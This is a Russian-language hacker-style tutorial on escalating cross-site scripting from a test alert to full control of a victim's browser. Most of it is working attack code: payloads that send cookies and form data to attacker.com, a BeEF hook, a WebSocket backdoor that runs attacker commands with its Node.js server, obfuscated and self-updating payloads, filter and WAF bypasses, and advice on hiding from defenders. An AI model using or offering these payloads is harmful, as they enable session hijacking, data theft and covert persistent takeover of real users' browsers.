XSS на стероидах: от алерта до полного захвата через DOM и WebSocket
Эй, пацаны и девчонки из андеграунда, сегодня мы не просто тыкаем alert()
в браузер, а ломаем всё к чертям. Cross-Site Scripting (XSS) — это не игрушка, это твой билет в систему, если знать, как крутить. Я покажу, как из банальной инъекции сделать полноценный захват через DOM и WebSocket. Схема проста: найти дыру, залить payload, выжать максимум. Готов? Тогда держи терминал наготове, ща будет жарко.
Фрейм: Я — пентестер, что вижу, куда лезу
Смотрю на типичный веб-апп, брат. Вижу формы, GET/POST-запросы, кучу JS на фронте — это как открытая дверь с табличкой «Входи, раздевайся». XSS тут — твой первый шаг к RCE, если правильно разыграть карты. Вектор атаки: от рефлексивного до stored, от кражи куки до живого коннекта через WebSocket. Цель — не просто попугать админа алертом, а взять контроль над браузером жертвы. Погнали по шагам.
Шаг 1: Находим точку входа — где вставить свой грязный код
- Что бросилось в глаза: Большинство XSS прячутся в поисковых строках, комментариях, формах. Если апп отражает твой ввод без фильтров — это уже полдела.
- Как ищем: Пихай
"><script>alert(1)</script>
везде, где можно — URL-параметры, input-поля, даже заголовки (типа Referer). Используй Burp Suite, включи Intruder, чтобы автоматизировать перебор точек. Пример запроса:GET /search?q="><script>alert(1)</script> HTTP/1.1
. - Обход фильтров: Если WAF или санайзер режет
<script>
, пробуй эвенты —onerror
,onload
. Пример:<img src=x onerror=alert(1)>
. Или обфускация через HTML-энтитеты:<script>alert(1)</script>
. - Трюк: Если ничего не сработало, проверь DOM-based XSS. Используй
window.location.hash
илиdocument.getElementById()
— часто JS сам рендерит пользовательский ввод без фильтров. Тест:http://target.com/page#<script>alert(1)</script>
.
Шаг 2: От алерта к полезной нагрузке — кража куки через DOM
- Что бросилось в глаза:
alert()
— это для лохов. Реальный профит — куки, сессии, данные из форм. - Вектор атаки: Заливаем payload, который пулит куки и отправляет их на наш сервер. Пример:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
.
На своём сервере поднимаем простой логгер (Netcat рулит):nc -lvp 80 > stolen_cookies.txt
. - Углубляемся в DOM: Если куки с флагом
HttpOnly
(не достать через JS), копаем дальше. Пуллим данные из форм или скрытых полей. Пример:<script>var data = document.getElementById('sensitive').value; fetch('http://attacker.com/log', {method: 'POST', body: data});</script>
. - Трюк: Автоматизируй через BeEF (Browser Exploitation Framework). Подключи жертву к своему хуку:
<script src="http://attacker.com:3000/hook.js"></script>
, и управляй браузером через GUI — куки, кейлоггинг, всё твоё.
Шаг 3: Stored XSS — как превратить разовую атаку в вечный движок
- Что бросилось в глаза: Рефлексивный XSS — это разовый укол. Stored (постоянный) — твой шелл в базе.
- Вектор атаки: Найди место, где твой ввод сохраняется (комменты, профиль, сообщения). Залей payload, который срабатывает для всех, кто открывает страницу. Пример:
<script>fetch('http://attacker.com/log', {method: 'POST', body: document.cookie});</script>
. - Масштабируем: Если апп уязвим к Stored XSS на популярной странице (типа форума), это массовый захват. Все юзеры, включая админов, становятся твоими.
- Трюк: Скрывай следы, обфусцируй код через base64:
<script>eval(atob('YWxlcnQoMSk='));</script>
. Это как шифровать C2-трафик — IDS не сразу спалит.
Шаг 4: WebSocket — твой live-контроль над жертвой
- Что бросилось в глаза: Современные аппы любят WebSocket для чатов, уведомлений. Это твой бэкдор в реальном времени.
- Вектор атаки: Заливаем payload, который подключается к твоему WebSocket-серверу и ждёт команд. Пример:
<script>var ws = new WebSocket('wss://attacker.com:8080'); ws.onmessage = function(msg) { eval(msg.data); }; ws.send('Victim connected');</script>
.
На сервере поднимаем WebSocket (например, черезws
в Node.js):
1 2 3 |
const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 8080 }); wss.on('connection', ws => { ws.send('alert("Pwned from server!")'); }); |
- Что делаем дальше: Теперь ты можешь слать команды жертве в реальном времени. Хочешь кейлоггер? Отправь JS-код для перехвата клавиш. Хочешь скриншот? Заставь браузер рисовать через
canvas
и отправлять тебе данные. - Трюк: Если WAF или CSP блокирует внешние коннекты, используй
data:
илиblob:
URI для хранения кода внутри страницы. Пример:<script src="data:text/javascript,alert(1)"></script>
.
Шаг 5: Маскировка и персистентность — чтобы Blue Team не спалила
- Что бросилось в глаза: После атаки админы начинают копать логи. Надо быть тише воды.
- Вектор атаки: Минимизируй следы. Используй легитимные домены (типа pastebin) для хранения payload’ов:
<script src="https://pastebin.com/raw/xxxx"></script>
. Шифруй данные перед отправкой на свой сервер (base64 или XOR). - Персистентность: Если есть Stored XSS, обновляй payload через самообновление:
<script>setInterval(function(){fetch('http://attacker.com/new_payload').then(r=>r.text()).then(t=>eval(t))}, 60000);</script>
. - Трюк: Прячься за CSP (Content Security Policy), если он слабый. Проверяй через Burp, какие домены разрешены, и юзай их для своих скриптов. Команда для анализа:
grep -i "content-security-policy" burp_log.txt
.
Итог: XSS — это не просто шутка, это твой шелл
Брат, мы с тобой прошли от детского alert()
до полноценного бэкдора через WebSocket. XSS — это не просто уязвимость, это твой плацдарм для эскалации. Вытащил куки — брути дальше на сервере, получил доступ к админке — ищи RCE. Главное — не пали контору, работай тихо, как мы в подвале после удачного CTF.

На этом все. Всем хорошего дня!